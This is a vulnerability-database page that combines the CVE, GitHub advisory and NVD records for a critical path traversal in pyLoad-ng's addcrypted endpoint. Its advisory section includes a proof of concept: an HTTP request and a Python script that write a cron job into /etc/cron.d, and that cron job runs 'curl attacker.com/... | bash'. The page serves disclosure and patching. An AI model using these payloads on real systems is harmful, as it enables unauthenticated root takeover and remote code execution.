Vulnerability-Lookup

CVE-2025-54802 (GCVE-0-2025-54802)

Vulnerability from cvelistv5 – Published: 2025-08-05 00:06 – Updated: 2025-08-05 14:29

Title

pyLoad CNL Blueprint is vulnerable to Path Traversal through `dlc_path` leading to Remote Code Execution (RCE)

Summary

pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90.

Severity ?

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/pyload/pyload/security/advisor…	x_refsource_CONFIRM
	https://github.com/pyload/pyload/pull/4596	x_refsource_MISC
	https://github.com/pyload/pyload/commit/70a44fe02…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	pyload	pyload	Affected: >= 0.5.0b3.dev89, < 0.5.0b3.dev90

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-54802",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-08-05T14:29:40.016514Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-08-05T14:29:43.201Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pyload",
          "vendor": "pyload",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.5.0b3.dev89, \u003c 0.5.0b3.dev90"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-08-05T00:06:48.834Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264"
        },
        {
          "name": "https://github.com/pyload/pyload/pull/4596",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyload/pyload/pull/4596"
        },
        {
          "name": "https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4"
        }
      ],
      "source": {
        "advisory": "GHSA-48rp-jc79-2264",
        "discovery": "UNKNOWN"
      },
      "title": "pyLoad CNL Blueprint is vulnerable to Path Traversal through `dlc_path` leading to Remote Code Execution (RCE)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-54802",
    "datePublished": "2025-08-05T00:06:48.834Z",
    "dateReserved": "2025-07-29T16:50:28.395Z",
    "dateUpdated": "2025-08-05T14:29:43.201Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-54802\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-08-05T14:29:40.016514Z\"}}}], \"references\": [{\"url\": \"https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-08-05T14:29:26.654Z\"}}], \"cna\": {\"title\": \"pyLoad CNL Blueprint is vulnerable to Path Traversal through `dlc_path` leading to Remote Code Execution (RCE)\", \"source\": {\"advisory\": \"GHSA-48rp-jc79-2264\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 9.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"pyload\", \"product\": \"pyload\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 0.5.0b3.dev89, \u003c 0.5.0b3.dev90\"}]}], \"references\": [{\"url\": \"https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264\", \"name\": \"https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/pyload/pyload/pull/4596\", \"name\": \"https://github.com/pyload/pyload/pull/4596\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4\", \"name\": \"https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2025-08-05T00:06:48.834Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-54802\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-08-05T14:29:43.201Z\", \"dateReserved\": \"2025-07-29T16:50:28.395Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2025-08-05T00:06:48.834Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

GHSA-48RP-JC79-2264

Vulnerability from github – Published: 2025-08-04 15:57 – Updated: 2025-08-05 17:10

Summary

pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)

Details

Summary

Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

Details

Endpoint: POST /addcrypted
Issue: src/pyload/webui/app/blueprints/cnl_blueprint.py

Vulnerable Code

 dlc_path = os.path.join( 
     dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc_path, mode="wb") as fp:

PoC

POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==

Decoded payload:

* * * * * root curl -s http://attacker.com/r.sh | bash

Send crafted POST

import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
    "package": "../../../../etc/cron.d/exploit",
    "crypted": b64
})

Impact

The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev89"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-04T15:57:48Z",
    "nvd_published_at": "2025-08-05T01:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.\n\n\n\n### Details\n* **Endpoint**: `POST /addcrypted`\n* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`\n\n#### Vulnerable Code\n```python\n dlc_path = os.path.join( \n     dl_path, package.replace(\"/\", \"\").replace(\"\\\\\", \"\").replace(\":\", \"\") + \".dlc\" \n ) \n dlc = flask.request.form[\"crypted\"].replace(\" \", \"+\") \n with open(dlc_path, mode=\"wb\") as fp: \n```\n\n### PoC\n```http\nPOST /addcrypted HTTP/1.1\nHost: localhost:8000\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 107\n\npackage=../../../../etc/cron.d/payload\u0026crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==\n```\n\nDecoded payload:\n```bash\n* * * * * root curl -s http://attacker.com/r.sh | bash\n```\n\n**Send crafted POST**\n```python\nimport requests, base64\n\npayload = \"* * * * * root curl http://attacker.com/rev.sh | bash\"\nb64 = base64.b64encode(payload.encode()).decode()\n\nrequests.post(\"http://localhost:8000/addcrypted\", data={\n    \"package\": \"../../../../etc/cron.d/exploit\",\n    \"crypted\": b64\n})\n```\n\n\n### Impact\nThe vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.",
  "id": "GHSA-48rp-jc79-2264",
  "modified": "2025-08-05T17:10:50Z",
  "published": "2025-08-04T15:57:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/pull/4596"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)"
}

FKIE_CVE-2025-54802

Vulnerability from fkie_nvd - Published: 2025-08-05 01:15 - Updated: 2025-10-09 17:32

Severity ?

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4	Patch
security-advisories@github.com	https://github.com/pyload/pyload/pull/4596	Exploit, Patch
security-advisories@github.com	https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	pyload-ng_project	pyload-ng	0.5.0b3.dev89

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:pyload-ng_project:pyload-ng:0.5.0b3.dev89:*:*:*:*:python:*:*",
              "matchCriteriaId": "0DB5128C-2AF7-4255-A80F-9EA9F4FEBA52",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90."
    },
    {
      "lang": "es",
      "value": "pyLoad es un gestor de descargas gratuito y de c\u00f3digo abierto escrito en Python puro. En las versiones 0.5.0b3.dev89 y anteriores, existe la posibilidad de path traversal en el CNL Blueprint de pyLoad-ng mediante el par\u00e1metro \"paquete\", lo que permite la escritura arbitraria de archivos y la ejecuci\u00f3n remota de c\u00f3digo (RCE). El endpoint addcrypted de pyload-ng presenta una vulnerabilidad de construcci\u00f3n de rutas inseguras, que permite a atacantes no autenticados escribir archivos arbitrarios fuera del directorio de almacenamiento designado. Esto puede utilizarse para sobrescribir archivos cr\u00edticos del sistema, como tareas cron y servicios systemd, lo que provoca la escalada de privilegios y la ejecuci\u00f3n remota de c\u00f3digo como root. Este problema se solucion\u00f3 en la versi\u00f3n 0.5.0b3.dev90."
    }
  ],
  "id": "CVE-2025-54802",
  "lastModified": "2025-10-09T17:32:39.157",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-08-05T01:15:42.240",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Patch"
      ],
      "url": "https://github.com/pyload/pyload/pull/4596"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-54802 (GCVE-0-2025-54802)

GHSA-48RP-JC79-2264

Summary

Details

Vulnerable Code

PoC

Impact

FKIE_CVE-2025-54802

Tags

Sightings

Nomenclature